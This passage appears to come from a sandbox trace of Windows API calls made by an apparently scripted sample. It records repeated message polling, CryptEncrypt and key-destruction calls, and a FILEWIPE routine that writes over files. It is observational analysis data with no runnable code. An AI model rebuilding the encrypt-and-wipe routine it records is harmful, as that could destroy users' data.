wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.741] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.741] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.741] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.742] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.742] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1d5b, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x1d60) returned 1 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] CharLowerBuffW (in: lpsz="byte[7521]", cchLength=0xa | out: lpsz="byte[7521]") returned 0xa [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.742] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.742] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f4194a30*, pdwDataLen=0xe8f3dfdf68*=0x1d5b, dwBufLen=0x1d60 | out: pbData=0xe8f4194a30*, pdwDataLen=0xe8f3dfdf68*=0x1d60) returned 1 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.742] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.743] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.743] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.743] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.743] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.744] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.744] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0026.744] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.744] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.744] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.744] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.744] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.744] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.745] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.745] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.745] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.745] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.745] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.745] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.745] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.745] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.745] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.747] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.748] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.748] CharLowerBuffW (in: lpsz="byte[7515]", cchLength=0xa | out: lpsz="byte[7515]") returned 0xa [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.748] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.748] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.748] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.749] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.749] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.749] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.749] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.750] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.750] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.750] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.750] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0026.750] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.750] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.750] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.750] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.751] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.751] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.751] CharUpperBuffW (in: 